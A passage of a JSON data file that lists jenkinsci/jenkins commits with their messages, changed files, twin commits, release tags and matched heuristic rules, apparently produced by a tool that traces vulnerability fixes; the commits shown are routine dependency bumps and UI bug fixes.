[ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9058", - "relevance": 2 - } - ] - }, - { - "commit_id": "d5ae4b0d7cc775b49d99d903a12a7e1d191ee7b1", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1711037012, - "hunks": 38, - "message": "Update dependency postcss-preset-env to v9.5.2 (#9054) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9054": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "01e8cf9ea8a6fb2b263479c32e3f5622de1e06ae" - ] - ], - "tags": [ - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9054", - "relevance": 2 - } - ] - }, - { - "commit_id": "00fce5a1d27e3bf6e9fd85bf65958685387cd61d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710881812, - "hunks": 1, - "message": "Bump org.jenkins-ci.main:jenkins-test-harness from 2171.v048c97409d12 to 2174.v111a_b_471784f (#9049) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9049": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "60f19cb24a97d0982a1afe978c31c69d610dad8b" - ], - [ - "no-tag", - "dbd5f115ad67542592af0a72bb21bebd77b1bf86" - ], - [ - "no-tag", - "f63de705fd3e287dbe07d646f11bf03b00340515" - ], - [ - "no-tag", - "2239347454e7c0387749f9d81da8beb3129b1f2c" - ], - [ - "no-tag", - "b899f94963334689e2c383a0657a06b0657283c3" - ], - [ - "no-tag", - "a23a8e58fb5894ec53db7ddb01cffbb17ce4828e" - ], - [ - "no-tag", - "ed84a4ba3443cebf2d41ddec9edf3762900c487c" - ], - [ - "no-tag", - "f60c1b4872b2e7a2dfa186fdff0c87464bf8c725" - ], - [ - "no-tag", - "0d537d43bde40d91dfa888e2191f2570551be354" - ], - [ - "no-tag", - "c7e7df49f936cf07b51f9efafbb25326cbb08c98" - ], - [ - "no-tag", - "332ac4914f84ba656407a78fd7d806dc58c60ba4" - ], - [ - "no-tag", - "cabc8f67b9429eba47ee42e47e677623ef980398" - ], - [ - "no-tag", - "9630c421f5fd1198307dcbecbf59e45f4eff030e" - ], - [ - "no-tag", - "9dd9a51a4462a3cee9c008830f2dbd6ad9657718" - ], - [ - "no-tag", - "b2a764116f5a2da9a36cc156e61c670f2732e327" - ], - [ - "no-tag", - "cdffa21e96db44cbe14c3fb0993d4c5e39c195db" - ], - [ - "no-tag", - "8aa627660907d3a15b9d7e23de01eaed6071bf41" - ], - [ - "no-tag", - "be77274143b519c735418c972ef931b47f481662" - ] - ], - "tags": [ - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9049", - "relevance": 2 - } - ] - }, - { - "commit_id": "4666cae77ead4d111898348124fd5cf480bf4376", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710794862, - "hunks": 1, - "message": "Bump org.springframework.security:spring-security-bom from 5.8.10 to 5.8.11 (#9047) Bump org.springframework.security:spring-security-bom Bumps [org.springframework.security:spring-security-bom](https://github.com/spring-projects/spring-security) from 5.8.10 to 5.8.11. - [Release notes](https://github.com/spring-projects/spring-security/releases) - [Changelog](https://github.com/spring-projects/spring-security/blob/main/RELEASE.adoc) - [Commits](https://github.com/spring-projects/spring-security/compare/5.8.10...5.8.11) --- updated-dependencies: - dependency-name: org.springframework.security:spring-security-bom dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "bom/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9047": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "184c79a02a57f80d3d76fb0cc9ebe9b6be04c0db" - ], - [ - "no-tag", - "72dc15eda545a755db4ba590c9b296d46c478c9f" - ] - ], - "tags": [ - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9047", - "relevance": 2 - } - ] - }, - { - "commit_id": "e9923d3d7a67f03b15f460ee34e5e83a073484bb", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710543825, - "hunks": 1, - "message": "Bump org.springframework:spring-framework-bom from 5.3.32 to 5.3.33 (#9042) Bumps [org.springframework:spring-framework-bom](https://github.com/spring-projects/spring-framework) from 5.3.32 to 5.3.33. - [Release notes](https://github.com/spring-projects/spring-framework/releases) - [Commits](https://github.com/spring-projects/spring-framework/compare/v5.3.32...v5.3.33) --- updated-dependencies: - dependency-name: org.springframework:spring-framework-bom dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "bom/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9042": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "2b4d5135f5455691188e1e2ac2a4d702e9416a95" - ] - ], - "tags": [ - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9042", - "relevance": 2 - } - ] - }, - { - "commit_id": "57ab5503a255aba01f40fc76c8526db3b7b23955", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707213022, - "hunks": 2, - "message": "Upgrade to Winstone 6.18 which include Jetty 10.0.20 upgrade (#8923) (cherry picked from commit 9c6ace3e032c843f86c66ec3422e77db0de644ad)", - "changed_files": [ - "pom.xml", - "war/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8923": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "9c6ace3e032c843f86c66ec3422e77db0de644ad" - ] - ], - "tags": [ - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8923", - "relevance": 2 - } - ] - }, - { - "commit_id": "72cea0e1703a1caf317bd18585fc14189544c089", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708351143, - "hunks": 3, - "message": "[JENKINS-72711] Restore progress animation in build history and buildtime trend views (#8966) [JENKINS-72711] Restore progress animation in build history and build time trend views Co-authored-by: Daniel Beck (cherry picked from commit f91d1ecc64ee384168e6f85b369148ec294c582d)", - "changed_files": [ - "core/src/main/resources/hudson/model/Job/buildTimeTrend.jelly", - "core/src/main/resources/hudson/model/Job/buildTimeTrend_resources.js", - "core/src/main/resources/lib/hudson/buildListTable.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8966": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "f91d1ecc64ee384168e6f85b369148ec294c582d" - ] - ], - "tags": [ - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8966", - "relevance": 2 - } - ] - }, - { - "commit_id": "f8e366455091a38ac25d297f70c112f0bdc602a4", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708756492, - "hunks": 5, - "message": "[JENKINS-71148] avoid empty tooltips (#8975) * [JENKINS71148] avoid empty tooltips when the tooltip or html tooltip is empty or whitespace only it is avoided that the tippy is invoked at all which would otherwise just display a small but empty element. * better null checks (cherry picked from commit 0675943cd256d383aa8a482371762f243d35d1a5)", - "changed_files": [ - "war/src/main/js/components/tooltips/index.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8975": "[JENKINS-72743] Remove empty tooltip for build duration on running build #8972" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "0675943cd256d383aa8a482371762f243d35d1a5" - ] - ], - "tags": [ - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8975", - "relevance": 2 - } - ] - }, - { - "commit_id": "0f1390b9ab9c418d0f6b5d30f6bc50dd0b6bd7dd", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709395195, - "hunks": 1, - "message": "Bump org.jenkins-ci.plugins:cloudbees-folder from 6.921.vfb_b_224371fb_4 to 6.928.v7c780211d66e (#8995) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8995": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "49e5ab32ce40662fb4c1dca38931cf2ad4d9c3c1" - ], - [ - "no-tag", - "27b8a5e505651bf1f0904246095aac2fa93a1112" - ], - [ - "no-tag", - "68c91216b75763f20e03b2a39f4e4c09149cdb99" - ] - ], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8995", - "relevance": 2 - } - ] - }, - { - "commit_id": "dd8f9030878554370ece32b0c18ac79088678aaa", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709331570, - "hunks": 4, - "message": "Update dependency mini-css-extract-plugin to v2.8.1 (#9008) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9008": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "481ecb237da715553f855f761d2e4c11cb95fb5d" - ] - ], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9008", - "relevance": 2 - } - ] - }, - { - "commit_id": "4d0a4eb8269f47561ac3781ab4b4e2d55957ab01", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708967725, - "hunks": 1, - "message": "Bump io.jenkins.plugins:font-awesome-api from 6.5.1-2 to 6.5.1-3 (#8987) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8987": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "f425dd45f34f21f70cc27afeefbb21f80e3ecac0" - ] - ], - "tags": [ - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8987", - "relevance": 2 - } - ] - }, - { - "commit_id": "2bd2ce2e2dce12ac7af9f1e58ec44adab772431a", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708119260, - "hunks": 1, - "message": "Bump org.jenkins-ci.plugins:script-security from 1321.va_73c0795b_923 to 1326.vdb_c154de8669 (#8961) Bump org.jenkins-ci.plugins:script-security Bumps [org.jenkins-ci.plugins:script-security](https://github.com/jenkinsci/script-security-plugin) from 1321.va_73c0795b_923 to 1326.vdb_c154de8669. - [Release notes](https://github.com/jenkinsci/script-security-plugin/releases) - [Commits](https://github.com/jenkinsci/script-security-plugin/commits) --- updated-dependencies: - dependency-name: org.jenkins-ci.plugins:script-security dependency-type: direct:production ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8961": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "78cdaa9f29df4a407b12973b9db04ff322e49db8" - ], - [ - "no-tag", - "af0488e8d84124924ad3e1132732080daf7806ac" - ], - [ - "no-tag", - "ed8562fdf77c685ab25adfc304a6306b13b96638" - ], - [ - "no-tag", - "0ebd1a066bb9a1d6295100cbf7371a9e33eb38f6" - ] - ], - "tags": [ - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8961", - "relevance": 2 - } - ] - }, - { - "commit_id": "6bc8a8ac74f94b8c68eed497ad9411445bc5dd61", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707465952, - "hunks": 5, - "message": "[JENKINS-72679] avoid admin monitor popup makes buttons unusable (#8941) avoid admin monitor makes buttons unusable The div of the admin monitor pop-up is set to opacity 0 but keeps z-index 1000 when closed. This makes the buttons, that are behind the popup when shown unusable. This change uses an animation that ensures the z-index is 0 after hiding the popup and buttons are still usable (cherry picked from commit a6423541f07292f8e5b74a9ce0e9a4d711eda0d9)", - "changed_files": [ - "core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.css" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8941": "Update appearance of controls in header #8791 [JENKINS-72679] Don't animate admin monitor popup on page load, properly remove interactable UI elements #8954 [JENKINS-72679] Revert #8791 #8956" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "a6423541f07292f8e5b74a9ce0e9a4d711eda0d9" - ] - ], - "tags": [ - "jenkins-2.440.1", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8941", - "relevance": 2 - } - ] - }, - { - "commit_id": "2f1190055950598828b5336d4d17b05de38f164c", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706297912, - "hunks": 2, - "message": "[JENKINS-72505] f:validateButton finds selected radio button (#8832) JENKINS-72505 f:validateButton finds selected radio button Co-authored-by: Mark Waite Co-authored-by: Alexander Brandes (cherry picked from commit d2a9fd2b1fc60381d18c79c66850cd89bd20814f)", - "changed_files": [ - "war/src/main/webapp/scripts/hudson-behavior.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8832": "Split agent templates into multiple pages jenkinsci/azure-vm-agents-plugin#493 Increase memory for war assembly #8856 [JENKINS-72407] missing folder icon #8872 Client certificate required no matter which option is selected jenkinsci/azure-ad-plugin#597" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "d2a9fd2b1fc60381d18c79c66850cd89bd20814f" - ] - ], - "tags": [ - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8832", - "relevance": 2 - } - ] - }, - { - "commit_id": "0905a4fc1bed7fee4f19eae5c3b949f306dc055a", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706193814, - "hunks": 2, - "message": "[JENKINS-72407] missing folder icon (#8872) when a folder icon is provided and relies on the getImageOf method this leads to a missing icon, e.g. gitlab branch source or when using a custom folder icon So fall back to the ballColorTd when we have no iconname which handles all cases properly. (cherry picked from commit 70f2237147f238adb54b21edf3e354fc672aeae3)", - "changed_files": [ - "core/src/main/resources/hudson/views/StatusColumn/column.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8872": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "70f2237147f238adb54b21edf3e354fc672aeae3" - ] - ], - "tags": [ - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8872", - "relevance": 2 - } - ] - }, - { - "commit_id": "d084664bb03973310f738aec6d578cd3b71bbc3e", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706131834, - "hunks": 2, - "message": "[JENKINS-72603] Update bundled Matrix Project Plugin to 822.824.v14451b_c0fd42 (#8891) (cherry picked from commit 34a6d0e466cd2347a3a05b29c912bdab24a36a52)", - "changed_files": [ - "test/pom.xml", - "war/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8891": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "34a6d0e466cd2347a3a05b29c912bdab24a36a52" - ] - ], - "tags": [ - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8891", - "relevance": 2 - } - ] - }, - { - "commit_id": "213bdecefc9fef76139488a722e3dbc6ea73583c", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706632528, - "hunks": 1, - "message": "Bump org.jenkins-ci.plugins.workflow:workflow-api from 1289.va_cf779f32df0 to 1291.v51fd2a_625da_7 (#8914) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8914": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "b83c92666b5005d4c6e0b01cfda6c409a30bcf5d" - ] - ], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8914", - "relevance": 2 - } - ] - }, - { - "commit_id": "6644f566f1cd1834251aa9fa9ff20750ddcf20fe", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705374118, - "hunks": 1, - "message": "Bump org.jenkins-ci:jenkins from 1.109 to 1.110 (#8867) Bumps [org.jenkins-ci:jenkins](https://github.com/jenkinsci/pom) from 1.109 to 1.110. - [Release notes](https://github.com/jenkinsci/pom/releases) - [Changelog](https://github.com/jenkinsci/pom/blob/master/CHANGELOG-old.md) - [Commits](https://github.com/jenkinsci/pom/compare/jenkins-1.109...jenkins-1.110) --- updated-dependencies: - dependency-name: org.jenkins-ci:jenkins dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8867": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "773e0c692a274182af1f7b41dcf2a0842c728076" - ] - ], - "tags": [ - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", 